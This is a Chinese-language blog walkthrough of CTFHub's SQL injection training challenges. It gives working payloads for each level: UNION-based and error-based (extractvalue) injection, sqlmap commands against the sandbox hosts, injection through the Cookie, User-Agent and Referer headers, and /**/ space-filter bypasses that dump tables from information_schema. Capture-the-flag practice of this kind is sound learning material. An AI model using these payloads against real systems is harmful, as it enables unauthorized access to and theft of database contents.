SQL注入-CTFHub

前言

本文是作者由CSDN博客迁移而来,原文地址:https://blog.csdn.net/2302_81178149/article/details/145423635?spm=1001.2014.3001.5501

在众多的CTF平台当中,CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

关于sql注入,作者认为sqli-labs是一个很好的靶场。作者通过该靶场训练到了sql注入的大多数技巧。应对这些题型时就已经得心应手,推荐大家也做一下。

sqli_labs的wp:sqli-labs通关全详解-CSDN博客

sql注入的技术总结:SQL注入全详解_sql注入csdn-CSDN博客

整数型注入

首页

输个1,发现出数据了,一看URL,GET型整数注入,而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有几个返回值,

1
1 union select 0,1#

逐见增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个值都显示)

接下来确定我们输入的值(即0和1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,就会一直输出1和ctfhub,得不到我们想要的信息)

1
-1 union select 0,1#

接下来就是常规步骤

1
-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个flag表似乎是我们想要的

1
-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'flag'#

连字段名都是flag,那必然是它了

出了

1
-1 union select 0,group_concat(flag) from flag#

字符型注入

还是输个1,发现是字符型注入,用单引号闭合

确定回显

剩下的步骤和上题基本一样

报错注入

输个1,查询正确,没有回显位,不能用报错注入

输个1’,有报错,而且看起来不用闭合,用报错注入试试

这里我用了extractvalue()报错,floot()、updatexml()报错都是可以的

1
1 and extractvalue(1,concat(0x7e,(select database())))#

1
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

1
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))#

1
1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))#

发现flag不全

1
1 and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),30,32)))#

原来只差个}

布尔盲注

输个1

1‘,没啥有价值的信息,没有回显也没有报错

用sqlmap

我的sqlmap是安装在windows上的,在其目录下打开cmd,

1
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1

成功扫出注入漏洞(是时间盲注,不过无所谓,时间盲注和布尔盲注本质相近)

1
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 --current-db

查看当前数据库名

查看表名

1
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli –tables

查看字段名

1
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

查看用户数据

1
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump

时间盲注

和布尔盲注一样,我们得不到什么有用的信息,用sqlmap

1
python sqlmap.py -u http://challenge-7ab8ccdca17dd471.sandbox.ctfhub.com:10800/?id=1

剩下的与上一题相同

MySQL结构

首页

输个1,出数据了,一看URL,GET型注入,可以直接从URL上输入,也可以直接在ID框里输入,

这个题而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了,所以只有两个id,1和2

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有数据库给我们返回了几个值,

1
1 union select 0#
1
1 union select 0,1#

逐次增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个返回的值都显示,这里很明显有两个回显位ID和Data)

接下来确定我们输入的值(即0,1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,比如1,就会一直输出1和ctfhub,得不到我们想要的信息,我们之前试过,id只有1和2,所以输入-1肯定是错的,这一步其实可以和前面一步合并,直接拿-1去测返回值个数)

1
-1 union select 0,1#

发现0对应ID,1对应Data。

接下来就是常规步骤,

在回显位上得到我们想要的信息,我选择在Data位上得到相关信息。

爆表名

1
-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个bfapxsidjd似乎是我们想要的,先试试它

爆字段名

1
-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'bfapxsidjd'#

爆用户数据

1
-1 union select 0,group_concat(dijkatvoat) from bfapxsidjd#

Cookie注入

Cookie注入,抓包,发现hint

看着像url code,用在线URL 编码/解码翻译试试

翻译成:输个1试试?

和之前提示一样

放包,出数据了,用联合注入试试

cookie上加payload,注意别加错位置

经尝试,数字型注入,不需要闭合,有两个返回值

0 union select 1,2–+

1
0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

1
0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'nsnlgmojmb'--+

1
0 union select 1,group_concat(zyrolpptir) from nsnlgmojmb--+

UA注入

把User-Agent处改为1

出现用户数据,那这里就和之前一样,直接注入就可

1
-1 union select 1,2

猜猜看返回数据是不是只有两个(发现根本不需要注释)

果然还是只有两个

1
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

1
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'narijgvpvg'

1
-1 union select 1,group_concat(vlmxnrnwsf) from narijgvpvg

Refer注入

Referer注入没有referer?

自己构造一个

referer: 1

Ok了,在这注入

1
referer: -1 union select 1,2

1
referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

1
referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'kclnvpdoln'

1
referer: -1 union select 1,group_concat(lhdlppxexk) from kclnvpdoln

过滤空格

输个1,发现和之前的题一样,按题目来看,是把空格过滤了

针对这种情况,可以有很多方法,比如用其他符号替换、URL编码等,这里可以用/**/或者括号去替换空格

1
0/**/union/**/select/**/1,2

1
0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

1
0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='notpyrplrk'

1
0/**/union/**/select/**/1,group_concat(bumpvvqaax)/**/from/**/notpyrplrk

综合训练 SQLI-LABS

实际上就是作者在文章开头说的sqli-labs靶场,推荐大家自己搭建一下,很简单而且可以节省金币。

具体搭建方法作者在自己文章里引用出来了。


SQL注入-CTFHub
http://example.com/2025/05/04/12SQL注入-CTFHub/
作者
sangnigege
发布于
2025年5月4日
许可协议